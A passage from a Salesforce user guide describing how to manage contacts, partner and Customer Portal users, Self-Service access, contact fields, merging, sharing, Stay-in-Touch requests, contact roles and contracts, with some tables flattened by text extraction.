The Contact History related list of a contact detail page tracks the changes to the contact. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the contact, a new entry is added to the Contact History related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related lists on the contact are not tracked in the contact history. For information about setting up which fields are tracked, see Tracking Field History on page 1007.

Finding Contact-Related Information (Related Lists)


Available in: All Editions

User Permissions Needed To view contacts: To edit contacts: Read on contacts Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts AND Edit Self-Service To edit accounts on contacts enabled to use a partner portal: Edit on contacts AND Manage Partners To view person accounts: To edit person accounts: Read on accounts and contacts Edit on accounts and contacts

Related lists, such as opportunities, display information related to a contact. Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page.

170

Contacts

Viewing Contact Updates (Chatter)

To directly add new items, click New (or the equivalent button) at the top of a related list. For example, clicking New Case lets you add a new case. To change the number of records shown for related lists, click View More below a related list, or click fewer or more at the bottom of the page.

Viewing Related Lists


The related lists you see are determined by your: Personal customization Administrator's page layout customizations Permissions to view related data

See Also:
Contact History

Viewing Contact Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the contact. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the update, click All Updates.

Following Contacts
When you follow a contact, your Chatter feed includes field changes and contact feed updates. To follow a contact, click Follow. To stop following, click Following . The Followers list shows you who is following the contact. To view a full list, click Show All. You automatically follow records you own. To disable this feature, go to Your Name > Setup > My Chatter Settings > My Feeds, select Stop automatically following records, and then click Save.

See Also:
Chatter Overview Using Chatter Feeds

Creating Partner Users


171

Contacts

Creating Partner Users

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, disable, or deactivate users: To create contacts: To view contacts: Manage Users Create on contacts Read on contacts

Once you have a partner account created, you can add partner users to the account as contact records. Partner users are Salesforce users with limited capabilities focused on managing leads. Partner users log in to Salesforce through the portal. Before creating partners, you should configure your portals; otherwise, your partner users may attempt to log into your portal before your portals are ready. To create a partner user: 1. View the partner account for which you want to create a partner user. 2. Create a new contact for the partner user. Choose New from the Contacts related list on the partner account. Fill in the appropriate details, and click Save. 3. On the contact detail page, click Work with Portal and choose Enable Partner Portal Login. 4. Edit the user record for this partner. 5. Click Save. Once a partner user has been created, the partner account and the partner user can be edited independently. Changes made to one are not reflected in the other. Updating a contact associated with a partner user does not update the partner user. To troubleshoot issues or ensure the portal is configured appropriately, on the contact detail page, click Work with Portal and choose Login As Portal User. A new browser window opens and you are logged into the portal as the portal user.

Tips on Creating Partner Users


Consider the following when creating partner users: If you have enabled a user as a delegated administrator, the user cannot create a partner user unless at least one partner profile has been added to the Assignable Profiles related list and the user has the Manage Users permission. The available profiles for the partner user are limited to the Partner User profile or profiles that have been cloned from it. Unlike a standard user, the partner user role is automatically assigned based on the account name. The partner user role is a subordinate of the account owner's role, therefore, all data for the partner user role rolls up to the partner account owner's role. Partner users and contacts cannot be deleted. If you no longer want a partner user to have access to the portal, deactivate the partner user. In addition, partner contacts cannot be owned by a non-partner account. You can merge a portal contact record with another portal contact. To disable a partner account, click Work with Portal and choose Disable Partner Account. Disabling the account disables up to 15 of its partner portal users and permanently deletes all of the account's partner portal roles and groups. You cannot restore deleted partner portal roles and groups. After you disable a partner account, you can re-enable individual contacts as partner portal users. Re-enabling a contact for a partner portal creates a new portal user and role that is not associated with the previous partner portal user and role.

172

Contacts

Working with Partner Users

We recommend disabling a partner account if the account was accidentally enabled for portal access.

See Also:
Disabling and Deactivating Portal Users

Working with Partner Users


Available in: Enterprise, Unlimited, and Developer Editions

Channel managers are associated with the partner users they manage by partner account ownership. A channel manager who owns a partner account can access all the information and manage all the activities of the partner users associated with that account. Some common tasks when managing your partner users include: Creating a partner account Creating partner users Disabling and deactivating partner users Assigning leads to partner users Assigning events to partner users Assigning cases to partner users Deactivating partner users Editing partner user information Change the account associated with a partner user Merge partner users Tracking partner activity Giving partner users access to your knowledge base Enabling partner users to request meetings

In addition, here are some other ways you can work with your partner users: Assign tasks to partner users If your partner users have the appropriate field-level security settings, they can view and create activities related to leads or opportunities. Add tasks to leads or opportunities to remind your partner users of particular tasks you would like them to perform. You can view the activity history for a particular lead or opportunity, or use reports to track activities assigned to partner users. Partner users can only assign tasks to other users in their partner account or to their channel manager. Use notes and attachments to communicate with partner users Partner users can create, view, and edit notes and add attachments from the Notes and Attachments related list on selected detail pages, including lead, solution, and opportunity detail pages. You can use notes and attachments to share documents or information with partner users. If Chatter is enabled for your organization, feed attachments are included

173

Contacts

Working with Partner Users

in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them. The size limit for an attached file is 5 MB. Click Login As Partner Portal User to troubleshoot When you view the contact detail page for a partner user, you can click Login As Portal User. This opens a new browser window and logs you into the portal as the partner user. Click this button to troubleshoot any issues partner users are experiencing. You may also click this button to ensure that your portal is configured appropriately. The Login As Portal User button is only available if you have the Manage Partners permission and one of the following: the Modify All Data permission or you are the partner account owner or higher in the role hierarchy. The Login as Portal User button does not display if you do not meet these requirements, or if the portal user is inactive. Reset a partner user's password When you view the user detail page for a partner user, you can click Reset Password to reset the partner user's password. Partner users can reset their own password by clicking Forgot Password? on the partner portal login page. Expose a solution in the portal Select Visible in Self-Service Portal on the solution. Add products to opportunities If the Products related list is available to partner users on opportunities, then you can add products to the opportunities for your partners.

See Also:
About Partner Portal User Management Managing Partner Users About Partner Portal Channel Manager User Management Delegating Partner User Administration Partner Portal Best Practices Enabling Email in the Partner Portal Assigning Events to Partner Users Enabling Cases in the Partner Portal

Self-Service for Contacts and Person Accounts

174

Contacts

Self-Service for Contacts and Person Accounts

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Self-Service users: Edit Self-Service Users

To allow a customer to access your Self-Service portal, you must enable Self-Service for the customers contact or person account record: 1. If the customer is a contact, click the Enable Self-Service button on the contact detail page. If the customer is a person account, click the Enable Self-Service button on the person account detail page. 2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Self-Service Username defaults to his or her Email. 3. Optionally, select the Super User checkbox to enable the customer as a Self-Service super user who can view case information, add comments, and upload attachments for all cases submitted by anyone in his or her company. 4. Select Generate new password and notify user immediately to email a Self-Service username and password to the customer. 5. Click Save. Note: A Self-Service user can only view cases in the Self-Service portal that are associated with his or her account record. To disable Self-Service for a customer: 1. Click the View Self-Service button on the detail page. 2. Click Edit, and deselect the Active box. 3. Click Save. To enable more than one Self-Service user at a time, see Enabling Multiple Self-Service Users on page 1318. Note: You cannot delete an active Self-Service user; you can only deactivate his or her access to the Self-Service portal. In addition, you cannot delete a contact or person account that is associated with an active Self-Service user. Instead, deactivate his or her access to the Self-Service portal and then delete the contact or person account.

See Also:
Setting Up Self-Service What is a Person Account?

Creating Contacts

175

Contacts

Creating Contacts

Available in: All Editions except Database.com

User Permissions Needed To view contacts: To create contacts: Read on contacts Create on contacts

To create a contact, select Contact from the Create New drop-down list in the sidebar, or click New next to Recent Contacts on the contacts home page. Enter the information for the contact. Click Save when you are finished, or click Save & New to save the current contact and add another. To automatically associate a contact with an account, view the account and click New Contact in the task bar. You can also select New in the Contacts related list of an account. If Quick Create is enabled by your administrator, you can also add a contact on the contacts home page. Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type when creating a contact. This determines the picklist values available when creating and editing a record. If your organization uses divisions, the division of a new contact is automatically set to the division of the related account. Note: Contacts that are not linked to an account are always private, regardless of your organizations sharing model. Only the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Cloning Contacts Contact Fields Contacts Home

Cloning Contacts
Available in: All Editions except Database.com

User Permissions Needed To clone contacts: Create on contacts

The Clone button on a contact quickly creates a new contact with the same information as the existing contact, for example, when you need to add multiple contacts for the same account. Click Clone on an existing contact. Enter or change any information for the new contact, and click Save.

176

Contacts

Enabling the Customer Portal for Contacts and Person Accounts

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contact Fields

Enabling the Customer Portal for Contacts and Person Accounts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Customer Portal users, or to log in as a portal user: Edit on the account associated with the Customer Portal user AND Edit Self-Service Users

To allow a customer to access your Salesforce Customer Portal, you must enable the customer's contact or person account record as a Customer Portal user. You can either disable or deactivate Customer Portal users at any time. To enable the Customer Portal for a customer: 1. Click Work with Portal and choose Enable Customer Portal User from the drop-down button on the contact or person account detail page. 2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Username defaults to his or her Email. 3. Select a portal user license. The user license you choose determines the permission sets, user profile, and role hierarchy options you can select for the Customer Portal user. See Customer Portal User Licenses on page 1572. 4. Select Generate new password and notify user immediately to email a Customer Portal username and password to the customer. If your organization uses multiple Customer Portals, a portal user can access all the Customer Portals assigned to his or her profile with one username and password. See Creating Multiple Customer Portals on page 1541. 5. Click Save. To troubleshoot or confirm the portal configuration, on the contact detail page, click Work with Portal and choose Login As Portal User. This opens a new browser window and logs you into the portal as the partner user.

Tips on Enabling the Customer Portal for Contacts


Consider the following when enabling the Customer Portal for contacts:

177

Contacts

Enabling the Customer Portal for Contacts and Person Accounts

To view or edit an enabled contact's access to your Customer Portal, on the contact detail page, click Work with Portal and choose View Customer Portal User. You cannot enable the contact for the Customer Portal unless the owner of the contact's account is associated with a role in your organization. The first time you enable a contact for the Customer Portal on an account, you cannot assign the contact to a portal role. The contact is automatically assigned to the Customer User role, which includes the name of the contact's account. You can update contact's portal role later. This behavior doesn't apply to high-volume portal users because they don't have roles and aren't included in the role hierarchy.

A contact can be either a partner or Customer Portal user, but not both. If a user is a partner user and a Customer Portal user, then you need to create two contact records for the user so that he or she can have a separate username and password for each portal. However, a contact can be a Self-Service user as well as a partner or Customer Portal user. Any data created or owned by a Self-Service user can be visible to a partner or Customer Portal user associated with the same contact.

You cannot delete an active Customer Portal user; you can only disable or deactivate his or her access to the Customer Portal. The following table describes whether you can delete contacts that are associated with portal users: State of Portal User Associated to Contact Active portal user Inactive portal user Disabled portal user Can You Delete the Contact? No. This is to ensure that the contact is available if you choose to reactivate the portal user. No. This is to ensure that the contact is available if you choose to reactivate the portal user. Yes. Deleted contacts are sent to the Recycle Bin.

You can change the account on the contact at any time. You can merge contacts enabled to use a Customer Portal. The user's Community Nickname defaults to his or her email alias unless you specify otherwise. For example, if the user's Email is jsmith@company.com, the user's Community Nickname defaults to jsmith when you click Save. Delegated administrators can't assign the High Volume Customer Portal User license to contacts.

Tips on Enabling the Customer Portal for Person Accounts


Consider the following when enabling the Customer Portal for person accounts: After the person account is enabled, click Work with Portal and choose View Customer Portal User on the person account detail page to view or edit a person accounts access to your Customer Portal. You can't delete a person account enabled to use a Customer Portal. You can't import person accounts to be automatically enabled to use a Customer Portal. For more information on importing person accounts, see Import My Person Accounts on page 760. Person account users can't self-register for a Customer Portal. When they try to do so, they receive an email notification that instructs them to contact the portal administrator. See Enabling Customer Portal Login and Settings on page 1551.

178

Contacts

Changing the Account on Contacts Enabled for Portals

You can't merge person accounts enabled to use a Customer Portal.

See Also:
Setting Up Your Customer Portal What is a Person Account?

Changing the Account on Contacts Enabled for Portals


Available in: All Editions

User Permissions Needed To view contacts: To edit contacts: Read on contacts Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts AND Edit Self-Service To edit accounts on contacts enabled to use a partner portal: Edit on contacts AND Manage Partners To view person accounts: To edit person accounts: Read on accounts and contacts Edit on accounts and contacts

When you change the account on contacts enabled for a Customer Portal or partner portal: Portal users can access their own cases and opportunities from their previous accounts. Contacts that are Self-Service users can view on the Self-Service portal only cases that are associated with their current account. Self-Service users cannot view opportunities. Contacts' portal roles are automatically updated to match the name of the account to which they are transferred (unless they're high-volume portal users, which don't have roles). For example, the portal role Account A Customer User becomes Account B Customer User (because a portal role's name includes the name of the account with which it is associated). Portal roles are unique to each account and are located under the account owner's role in your organization's role hierarchy. When you transfer a partner portal user to another account: Opportunities on each account are automatically recalculated through your organization's forecast hierarchy. Opportunities owned by the partner portal user remain in the previous account. This is because portal users' roles are updated when you transfer them between accounts. Delegated partner user administrators and delegated Customer Portal user administrators can update portal users on accounts to which they are transferred.

179

Contacts

Contact Fields

You can only transfer contacts enabled for a partner portal to accounts that are enabled for a partner portal.

See Also:
Enabling the Customer Portal for Contacts and Person Accounts Self-Service for Contacts and Person Accounts

Contact Fields
The available fields vary according to which Salesforce Edition you have.

A contact has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Field
Account Name

Description Name of account that contact is linked to. You can enter the account name, or select the account using the lookup icon. Private contacts are those that do not have an account. When selected, allows contacts to self-register for access to your Customer Portal. Name of assistant. Up to 40 characters are allowed in this field. Assistants phone number. Up to 40 characters are allowed in this field. Birthday. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. The default currency for all currency amount fields in the contact. Amounts are displayed in the contact currency, and are also converted to the users personal currency. Available only for organizations that use multiple currencies. Division to which the contact belongs. This value is automatically inherited from the related account. Available only in organizations that use divisions to segment their data.

Allow Customer Portal Self-Registration

Assistant

Asst. Phone

Birthdate

Contact Currency

Contact Division

Contact Owner Contact Record Type

Assigned owner of contact. Not available in Personal Edition. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Editions.

180

Contacts

Contact Fields

Field
Created By

Description User who created the contact including creation date and time. (Read only) Associated business or organizational unit. Up to 80 characters are allowed in this field. Description of contact. Up to 32 KB of data are allowed in this field. Only the first 255 characters display in reports. Indicates if the person does not want to be contacted via telephone. Email address. Must be a valid email address in the form: jsmith@acme.com. Up to 80 characters are allowed in this field. Click the email address in this field to send an email using your personal email application. This type of email is not logged as an activity on the contact record. If the Gmail Buttons and Links feature is enabled, you can click the Gmail link next to the field to send an email from your Gmail account. See Using Gmail in Salesforce on page 311 for more information.

Department

Description

Do Not Call

Email

Email Opt Out Fax

The person's email address will not be included in mass emails. Contacts fax number. Up to 40 characters are allowed in this field. Indicates if the person has requested not to be included in broadcast faxes. First name of the contact, as displayed on the contact edit page. Up to 40 characters are allowed in this field. First name of the contact translated into the local language. Persons home phone number. Up to 40 characters are allowed in this field. Last name of the contact, as displayed on the contact edit page. Up to 80 characters are allowed in this field. Last name of the contact translated into the local language. The date that the most recent Stay-in-Touch request was sent. The date that the most recent Stay-in-Touch request was returned and merged. Record source, for example, Advertisement, Partner, or Web. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters.

Fax Opt Out

First Name

First Name (Local) Home Phone

Last Name

Last Name (Local) Last Stay-in-Touch Request Date Last Stay-in-Touch Save Date

Lead Source

181

Contacts

Contact Fields

Field
Mailing Street

Description Street mailing address. Up to 255 characters are allowed in this field. City portion of mailing address. Up to 40 characters are allowed in this field. State or province portion of mailing address. Up to 20 characters are allowed in this field. Zip or postal code portion of mailing address. Up to 20 characters are allowed in this field. Country portion of mailing address. Up to 40 characters are allowed in this field. Cellular or mobile phone number. Up to 40 characters are allowed in this field. User who last changed the contact fields, including modification date and time. This does not track changes made to any of the related list items on the contact. (Read only) Combined first and last name of contact, as displayed on the contact detail page. Street address portion of additional address. Up to 255 characters are allowed in this field. City portion of additional address. Up to 40 characters are allowed in this field. State or province portion of additional address. Up to 20 characters are allowed in this field. Zip or postal code portion of additional address. Up to 20 characters are allowed in this field. Country portion of additional address. Up to 40 characters are allowed in this field. Additional phone number listing. Up to 40 characters are allowed in this field. Contacts primary phone number. Up to 40 characters are allowed in this field. Name of contacts manager. You can enter an existing contact name, or select the contact using the lookup icon. Title for addressing the person, for example, Mr., Ms., Dr., or Prof. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters.

Mailing City

Mailing State/Province

Mailing Zip/Postal Code

Mailing Country

Mobile

Modified By

Name

Other Street

Other City

Other State/Province

Other Zip/Postal Code

Other Country

Other Phone

Phone

Reports To

Salutation

182

Contacts

Displaying Contact Hierarchy

Field
Title

Description Person's position within his or her organization. Up to 80 characters are allowed in this field. Listing of custom links for contacts as set up by your administrator. For Self-Service contacts only. The Username defaults to the Email. The contact must enter their username when logging in to the Self-Service portal.

Custom Links

Username

See Also:
Using Contacts Creating Contacts Cloning Contacts

Displaying Contact Hierarchy


Available in: All Editions

User Permissions Needed To view org chart: To change org chart: Read on contacts Edit on contacts

To display an organization chart, enter the name of the contacts manager in the Reports To field for each contact in the account. Then, click the [View Org Chart] link on any contact in the account. Salesforce displays an organization chart showing the contact hierarchy with the direct reports for each contact you entered. Note: To maintain a complete organization chart, make sure every contact in an account contains another contact in the Reports To field. The only exception to this is the contact at the very top of the organization chart. If only one contact in an account reports to no one, that account will have a single organization chart for the entire account. Because of its flexibility, this feature will not prevent you from selecting Reports To contacts from other accounts.

Merging Duplicate Contacts

183

Contacts

Merging Duplicate Contacts

Available in: All Editions except Database.com Customer Portal is available in: Enterprise, Unlimited, and Developer Editions Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed To merge contacts: To merge Customer Portal enabled contacts: Delete on contacts Delete on contacts AND Edit Self-Service Users To merge partner portal enabled contacts: Delete on contacts AND Manage Partners

To merge duplicate contacts associated with a common account: 1. From the Contacts related list of an account, click Merge Contacts. 2. Check the rows of up to three contacts you want to merge. You can search the list of associated contacts to shorten the list, or click All Contacts to view the full list of associated contacts. Click Next to continue. 3. Select one contact as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record. However, administrators and users with the Edit Read Only Fields permission can manually select which read-only fields to retain. Note that hidden fields are not displayed. 4. Select the partner portal or Customer Portal user you want to retain. This option is available only if a partner portal or Customer Portal is enabled for your organization. You can select Not a portal user so that a merged contact does not include a portal user. 5. Select the fields that you want to retain from each record. When there is conflicting data, the fields in the left column are preselected and the row is marked in purple. 6. Click the Merge button to complete the merge.

Tips for Merging Contacts


Consider the following when merging contacts: Any related items from any of the duplicate contacts will be associated with the merged contact. If you are merging duplicate contacts that are members of different campaigns, the campaign Member Status Updated date for each contact is retained and associated with the newly merged contact. Before merging contacts that both have active Self-Service usernames, deactivate one Self-Service username. The merged record will adopt the active Self-Service username. Any account sharing and manual sharing for the master contact are applied to the newly merged contact. When you merge contacts that have Reports To relationships, the newly merged contact retains the Reports To field from the selected Master Record.

184

Contacts

Merging Duplicate Contacts

All discarded duplicate records are moved to the Recycle Bin. The newly merged contact displays the Created By date from the oldest contact you are merging, and shows the merge date as the Modified By date. In organizations that use divisions, the merged contact is assigned to the division of the related account. Merging contacts is not tracked in the setup audit trail. You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in the organization role hierarchy, and if you have the appropriate user permission. The newly merged contact is automatically included on any case teams in which the contacts were associated. The master contact replaces the duplicate contacts in all the requested meetings they were invited to. Also, all meeting messages written by the duplicate contacts are automatically associated with the master contact. (Meeting messages appear on the requested meeting's Web page and are visible to all invitees.) The master contact replaces the duplicate contacts in all the scheduled meetings they were invited to. However, make sure to edit the event detail page and click Add to Invitees to add the new master contact to the meeting invitee list.

Tips for Merging Contacts with Portal Users


Consider the following when merging contacts associated with portal users: Review the information in Tips for Merging Contacts, which also applies to merging contacts associated with portals users. You can merge a portal contact record with another portal contact. For example, you can merge contacts enabled to use: A partner portal or Customer Portal. A partner portal with contacts enabled to use a Customer Portal or vice-versa. A partner portal or Customer Portal with contacts that are not enabled to use a portal. When you merge contacts that include partner portal and Customer Portal users, you must choose which type of portal user to retain. The portal user you do not retain is disabled. However, after the contacts are merged, you can enable the contact for access to the portal from which you removed during the merge process. To merge contacts associated with various accounts: 1. Transfer the contacts you want to merge into one account. 2. Merge the contacts associated with the common account. Portal users who are disabled during the merge process retain ownership of any records in which they are the owner. For example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated with a new owner.

See Also:
Merging Duplicate Accounts Enabling the Customer Portal for Contacts and Person Accounts Creating Partner Users

Sharing Contacts

185

Contacts

Sharing Contacts

Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model for contact access. However, you can extend sharing privileges for your own data on a contact-by-contact basis. Use contact sharing to increase access to your contacts; you cannot restrict access beyond your organization's default access levels. To view and manage sharing details, click Sharing on the contact detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the contact. On this page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant access to the record for other users, groups, roles, or territories. Click Expand List to view all users that have access to the record. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

Special Considerations
Make sure you are sharing records with users who have the appropriate Read object permission for viewing the shared records. You cannot manually share a private contact (a contact without an account). If you have permission to share an account, Salesforce automatically provides Read access to the associated account when granting sharing access to a contact if the recipient does not already have it. If the recipient does not have access to the account, you cannot share the contact unless you have permission to share the account as well. If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's account. Contact sharing is not available for organizations that have territory management or person accounts. If your organization already has person accounts enabled, the organization-wide default for contacts is set to Controlled by Parent and is not editable. If your organization does not have person accounts yet you want to enable one of them, set your organization-wide default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.

See Also:
Granting Access to Records Viewing Which Users Have Access

186

Contacts

Sending Stay-in-Touch Requests

Sending Stay-in-Touch Requests


Available in: All Editions except Database.com

User Permissions Needed To request updates: Send Stay-in-Touch Requests

A quick and easy way to retrieve updated contact information from your contacts and person accounts is to send Stay-in-Touch requests. You can request updates from: Contacts you own Contacts associated with accounts you own Contacts you can edit due to a sharing rule or manual record sharing Person accounts you own Note: The record must have a valid email address.

How it Works
1. On the detail page of a contact or person account, click Request Update either at the top of the page or in the Activity History related list. 2. An outgoing email is created according to your personal Stay-in-Touch settings. As needed, edit the details of the email. If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the message. Spell Checker does not support all the languages that Salesforce supports. For example, Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported. Click Send to send the email. 3. The recipient receives the email and clicks a link to either provide updates or confirm no changes are necessary. 4. You receive an email notification. Click the link in the email to update, review, and accept or reject the new information. Note: To send individual Stay-in-Touch requests, you must have the Send Email permission. You can send individual Stay-in-Touch requests regardless of the recipients Email Opt Out setting.

See Also:
Editing Stay-in-Touch Settings Merging Updated Contact Information Mass Stay-in-Touch Update What is a Person Account?

Merging Updated Contact Information

187

Contacts

Sending Stay-in-Touch Requests

When someone responds to a Stay-in-Touch request, you will receive an email that contains a link. To merge the new information into Salesforce: 1. Click Update Now from the email you receive. 2. Review the new and original values. 3. Click Accept Changes to save the new data. Click Reject Changes to ignore the updates and retain the original values. Note: These updates do not trigger workflow rules.

See Also:
Sending Stay-in-Touch Requests

Mass Stay-in-Touch Update


Available in: All Editions except Database.com

User Permissions Needed To send mass Stay-in-Touch updates: Send Email AND Send Stay-in-Touch Requests

Use the Mass Stay-in-Touch wizard to request updated contact information from multiple contacts and person accounts simultaneously. To send a mass Stay-in-Touch email: 1. On the contacts home page, click Mass Stay-in-Touch from the Tools section. If your organization uses person accounts, the link also appears on the accounts home page. 2. Select a list view of contacts and person accounts from whom you are requesting updated information. You can also edit existing list views and create new list views. 3. Click Go. 4. Select the individuals to whom the request will be sent. Note that records which lack email addresses cannot be selected. Click Next to continue. 5. Review the email to be sent and click Send. Recipients can reply to you via email with their latest information. You can merge these updates as you receive them.

188

Contacts

Deleting Contacts

Note: Records in which the Email Opt Out box is checked do not appear in the list view, because you cannot send mass emails to them.

See Also:
Sending Stay-in-Touch Requests Editing Stay-in-Touch Settings Merging Updated Contact Information

Deleting Contacts
Available in: All Editions

User Permissions Needed To delete contacts: Delete on contacts

To delete a contact, click Del next to the contact on the contacts list page or in the Contacts related list of an account. You can also delete a contact by clicking Delete on the contact detail page. When you delete a contact, all related assets, campaign history, events, tasks, notes, and attachments are also deleted. You do not need the Delete permission on any associated records that are included in the deletion. Associated opportunities, accounts, entitlements, and cases are not deleted with the contact. The deleted contact is moved to the Recycle Bin. If you undelete the contact, any related items are also restored including any inactive Self-Service username. You cannot delete contacts that have associated: Cases Contracts Service contracts Partner user Assets with cases An active Self-Service user An active Customer Portal user Note: You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in the organization role hierarchy, and if you have the appropriate user permission.

See Also:
Recycle Bin Deleting Mass Data Merging Duplicate Contacts

189

Contact Roles

Searching for Contacts

Searching for Contacts


Available in: All Editions

User Permissions Needed To view contacts: To view person accounts: Read on contacts Read on accounts and contacts

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. If you're using local contact names, search finds matches for standard or local contact names. 3. From the search results, click an item to open it or click Edit, if available. You can also create a contact list view to locate contacts that match specific criteria.

See Also:
Search Overview What is a Person Account?

CONTACT ROLES
Contact Roles Overview
Available in: All Editions except Database.com

A contact role defines the part that a contact or person account plays in a specific account, case, contract, or opportunity. For example, Tom Jones might be the Decision Maker for the opportunity, and Mary Smith might be the Evaluator. You can assign a contact role to any contact or person account that affects your account, case, contract, or opportunity. Contacts and person accounts can have different contact roles on various accounts, cases, contracts, or opportunities. The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities on which the person account is listed in the Account Name field of the opportunity.

190

Contact Roles

Viewing and Editing Contact Roles

Note: Users must have the appropriate user permissions and sharing access to view the contact information for any person listed in the appropriate contact roles related lists.

See Also:
Viewing and Editing Contact Roles Adding Contact Roles What is a Person Account?

Viewing and Editing Contact Roles


Available in: All Editions except Database.com

User Permissions Needed To view contact roles: To edit contact roles: Read on accounts, cases, contracts, or opportunities Edit on the related object, such as accounts, cases, contracts, or opportunities AND Read on contacts

The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities on which the person account is listed in the Account Name field of the opportunity. To add a contact role for the account, case, contract, or opportunity, click New in the Contact Roles related list. See Adding Contact Roles on page 192. To send an email to all contact roles on a case, click Send an Email in the Contact Roles related list. See Sending Email on page 231. If a contact role does not have an email address specified on his or her contact record, the contact is not included in the email. To update a contact role, click Edit next to a contact role. Click Save when you have finished making changes. To mark a contact or person account as primary on the account, contract, or opportunity, click Edit next to the contact role entry, and select the Primary option. Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the contact listed under Contact Name in the Case Detail section. To delete a contact role, click Del next to the contact role you want to delete.

191

Contact Roles

Adding Contact Roles

To create an opportunity related to a person account, click New in the Opportunity Contact Roles related list on a person account.

See Also:
Contact Roles Overview Adding Contact Roles Contact Role Fields What is a Person Account?

Adding Contact Roles


Available in: All Editions except Database.com

User Permissions Needed To add contact roles: Edit on the related object, such as accounts, cases, contracts, or opportunities AND Read on contacts

To assign a contact role to a contact or person account: 1. Click New in the Contact Roles related list of an account, case, contract, or opportunity. 2. Click the lookup icon to select a contact or person account. Optionally, click New to create a new contact. When you add or edit contact roles on an opportunity that is associated with a business account, the page automatically displays the contacts for that business account. If the business account has more than 50 contacts, the contacts are not automatically displayed, and you must use the lookup icon to select a contact. 3. Choose a role. 4. Optionally, select Primary to set the contact or person account as primary for the account, contract, or opportunity. Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the contact listed under Contact Name in the Case Detail section. 5. Click Save. When you create an opportunity from a contact detail page, that contact automatically becomes the primary contact on the opportunity. However, a contact role is not automatically assigned.

192

Contact Roles

Contact Role Fields

Tip: Adding person accounts in contact roles on accounts is available but not recommended. As a best practice, we recommend using the Partners related list to associate person accounts with other accounts.

See Also:
Contact Roles Overview Viewing and Editing Contact Roles Contact Role Fields What is a Person Account?

Contact Role Fields


Available in: All Editions except Database.com

A contact role has the following fields, listed in alphabetical order. Field
Contact

Description Name of contact or person account. You can use the lookup icon to either select someone or create a contact. Option that specifies the contact or person account as primary for the record. Note that on case contact roles, the Primary option is not available. The primary contact on a case is always the contact listed under Contact Name in the Case Detail section.

Primary

Role

Participating role in the account, case, contract, or opportunity, for example, Buyer, Decision Maker, or Evaluator. (Selections for this picklist can be customized by your administrator.)

See Also:
Viewing and Editing Contact Roles Adding Contact Roles What is a Person Account?

193

Contracts

Contracts Overview

CONTRACTS
Contracts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract is a written agreement between two or more parties. Many companies use contracts to define the terms for doing business with other companies. Use Salesforce to establish and document the contracts you have with your accounts. Then, track the contract through your organizations approval process and use workflow alerts to notify yourself when to initiate contract renewals.

Displaying The Contracts Tab


The Contracts tab is automatically displayed for all users. If your Contracts tab is not visible, you can customize your display to show it. For more information, see Customizing Your Display on page 41.

See Also:
Contracts Home Administrator tip sheet: Getting Started with Contracts

Contracts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Contracts tab: To view contracts: To create contracts: Read on contracts Read on contracts Create on contracts AND Read on accounts

Click the Contracts tab to display the contracts home page. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.

194

Contracts

Contracts Home

